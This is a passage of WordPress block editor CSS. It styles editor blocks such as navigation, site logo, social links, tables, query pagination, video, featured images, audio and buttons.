#0000;border-radius:8px}.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{background-color:#949494}.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{scrollbar-color:#949494 #0000}@media (hover:none){.wp-block-navigation__menu-inspector-controls{scrollbar-color:#949494 #0000}}.wp-block-navigation__menu-inspector-controls__empty-message{margin-right:24px}.wp-block-navigation .block-list-appender{position:relative}.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;overflow:visible!important;visibility:visible!important;width:auto!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px 16px 16px auto}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__placeholder{background-image:none!important;box-shadow:none!important;position:relative;text-decoration:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:var(--wp-admin-theme-color);background-image:linear-gradient(-45deg,#0000 20%,var(--wp-underline-color) 30%,var(--wp-underline-color) 36%,#0000 46%),linear-gradient(-135deg,#0000 54%,var(--wp-underline-color) 64%,var(--wp-underline-color) 70%,#0000 80%);background-position:100% 100%;background-repeat:repeat-x;background-size:6px 3px;padding-bottom:.1em}.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:#fff}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}.wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;position:absolute;right:-1px;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;left:100%;position:absolute;width:.5em}}.block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{background-color:inherit}.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{display:block}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;visibility:visible;width:auto}.wp-block-page-list__loading-indicator-container{padding:8px 12px}.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{opacity:0}.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{font-style:normal;text-transform:none}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.wp-block-rss__placeholder-form>*{margin-bottom:0}}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1;min-width:80%}.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search .wp-block-search__button{align-items:center;border-radius:initial;display:flex;height:auto;justify-content:center;text-align:center}.wp-block-search__components-button-group{margin-top:10px}.block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px}.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{background:none!important;border:none}[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo .custom-logo-link.is-transient img{opacity:.3}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-upload-container{position:relative}.block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{display:none}.block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{box-shadow:inset 0 0 0 1px #ccc;color:#1e1e1e;display:block;height:40px;width:100%}.block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{color:var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container .components-dropdown{display:block}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:50%!important;box-shadow:inset 0 0 0 1px #0003;min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px}.wp-block-site-tagline__placeholder,.wp-block-site-title__placeholder{border:1px dashed;padding:1em 0}.editor-styles-wrapper .wp-block-site-title a{color:inherit}.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{color:currentColor;font-size:inherit;height:auto;line-height:0;opacity:1;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links.is-style-logos-only .wp-social-link button{padding:0}.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-right:8px}.wp-block-social-links.wp-block-social-links{background:none}.wp-social-link:hover{transform:none}.editor-styles-wrapper .wp-block-social-links{padding:0}.wp-block-social-links__social-placeholder{display:flex;list-style:none;opacity:.8}.wp-block-social-links__social-placeholder>.wp-social-link{margin-left:0!important;margin-right:0!important;padding-left:0!important;padding-right:0!important;visibility:hidden;width:0!important}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex}.wp-block-social-links__social-placeholder .wp-social-link{padding:.25em}.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{padding-left:.66667em;padding-right:.66667em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{padding:0}.wp-block-social-links__social-placeholder .wp-social-link:before{border-radius:50%;content:"";display:block;height:1em;width:1em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .wp-block-social-links__social-prompt{cursor:default;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:24px;list-style:none;margin-bottom:auto;margin-top:auto;min-height:24px;order:2;padding-left:8px}.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}@media (prefers-reduced-motion:reduce){.wp-social-link.wp-social-link__is-incomplete{transition-delay:0s;transition-duration:0s}}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:#0000001a}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:#ffffff26}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{height:100%!important;margin-bottom:0}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);border-style:double;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{border:1px solid}.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-start;display:flex;flex-direction:column;gap:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-end;flex-direction:row}}.blocks-table__placeholder-input{width:112px}.block-editor-template-part__selection-modal{z-index:1000001}.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-template-part__selection-search{background:#fff;padding:16px 0;position:sticky;top:0;z-index:2}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}.wp-block-video.wp-block-video.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e}.wp-block-video.wp-block-video.is-selected .components-placeholder>svg{opacity:0}.wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-video.wp-block-video.is-selected .components-placeholder:before{opacity:0}.wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{transition:none}.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.editor-video-poster-control .components-base-control__label{display:block}.editor-video-poster-control .components-button{margin-left:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-right:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{padding:0;width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{padding:12px}.editor-styles-wrapper ul.wp-block-post-template{list-style:none;margin-right:0;padding-right:0}.block-library-query-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query__create-new-link{padding:0 52px 16px 16px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr 1fr;grid-gap:8px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{max-height:250px}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:2px;padding:16px 0;position:sticky;top:0;z-index:2}.block-library-query-toolspanel__filters .components-form-token-field__help{margin-bottom:0}.block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){margin-bottom:24px}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.wp-block-query__enhanced-pagination-notice{margin:0}.wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-bottom:.5em;margin-right:.5em;margin-top:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-left:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-post-featured-image .block-editor-media-placeholder{-webkit-backdrop-filter:none;backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;min-height:200px;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-right-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}.wp-block-post-featured-image>a{cursor:default}.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%}.wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto}.wp-block-post-content.wp-block-post-content{-webkit-user-select:none;user-select:none}.wp-element-button{cursor:revert}.wp-element-button[role=textbox]{cursor:text}:root .editor-styles-wrapper .has-very-light-gray-background-color{background-color:#eee}:root .editor-styles-wrapper .has-very-dark-gray-background-color{background-color:#313131}:root .editor-styles-wrapper .has-very-light-gray-color{color:#eee}:root .editor-styles-wrapper .has-very-dark-gray-color{color:#313131}:root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(-135deg,#00d084,#0693e3)}:root .editor-styles-wrapper .has-purple-crush-gradient-background{background:linear-gradient(-135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .editor-styles-wrapper .has-hazy-dawn-gradient-background{background:linear-gradient(-135deg,#faaca8,#dad0ec)}:root .editor-styles-wrapper .has-subdued-olive-gradient-background{background:linear-gradient(-135deg,#fafae1,#67a671)}:root .editor-styles-wrapper .has-atomic-cream-gradient-background{background:linear-gradient(-135deg,#fdd79a,#004a59)}:root .editor-styles-wrapper .has-nightshade-gradient-background{background:linear-gradient(-135deg,#330968,#31cdcf)}:root .editor-styles-wrapper .has-midnight-gradient-background{background:linear-gradient(-135deg,#020381,#2874fc)}:where(.editor-styles-wrapper){--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:where(.editor-styles-wrapper) .has-regular-font-size{font-size:16px}:where(.editor-styles-wrapper) .has-larger-font-size{font-size:42px}:where(.editor-styles-wrapper) .has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}:where(.editor-styles-wrapper) .has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:where(.editor-styles-wrapper) iframe:not([frameborder]){border:0}.wp-element-button{cursor:revert}.wp-element-button[role=textbox]{cursor:text}.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:#ffffffa6}.wp-block-audio{margin:0 0 1em}.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:#ffffffa6}.wp-block-embed{margin:0 0 1em}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6}.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:#ffffffa6}.wp-block-image{margin:0 0 1em}.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote.has-text-align-right{border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote.has-text-align-center{border:none;padding-left:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{border:none}.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}:where(.wp-block-group.has-background){padding:1.25em 2.375em}.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:#ffffffa6}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:#ffffffa6}.wp-block-video{margin:0 0 1em}.wp-block-template-part.has-background{margin-bottom:0;margin-top:0;padding:1.25em 2.375em}ul.wp-block-archives{
  padding-left:2.5em;
}

.wp-block-audio{
  margin-left:0;
  margin-right:0;
  position:relative;
}
.wp-block-audio.is-transient audio{
  opacity:.3;
}
.wp-block-audio .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}

.wp-block-avatar__image img{
  width:100%;
}

.wp-block-avatar.aligncenter .components-resizable-box__container{
  margin:0 auto;
}

.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{
  padding-left:0;
  padding-right:0;
}
.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{
  display:block;
}
.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{
  display:none;
}

.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff;
}

.wp-block[data-align=center]>.wp-block-button{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block[data-align=right]>.wp-block-button{
  text-align:right;
}

.wp-block-button{
  cursor:text;
  position:relative;
}
.wp-block-button:focus{
  box-shadow:0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:-2px;
}
.wp-block-button[data-rich-text-placeholder]:after{
  opacity:.8;
}

div[data-type="core/button"]{
  display:table;
}

.editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}

.editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){
  border-width:initial;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){
  border-top-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){
  border-right-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){
  border-bottom-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){
  border-left-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){
  border-width:initial;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){
  border-top-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){
  border-right-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){
  border-bottom-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){
  border-left-width:medium;
}
.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{
  margin:0;
}
.wp-block-buttons>.block-list-appender{
  align-items:center;
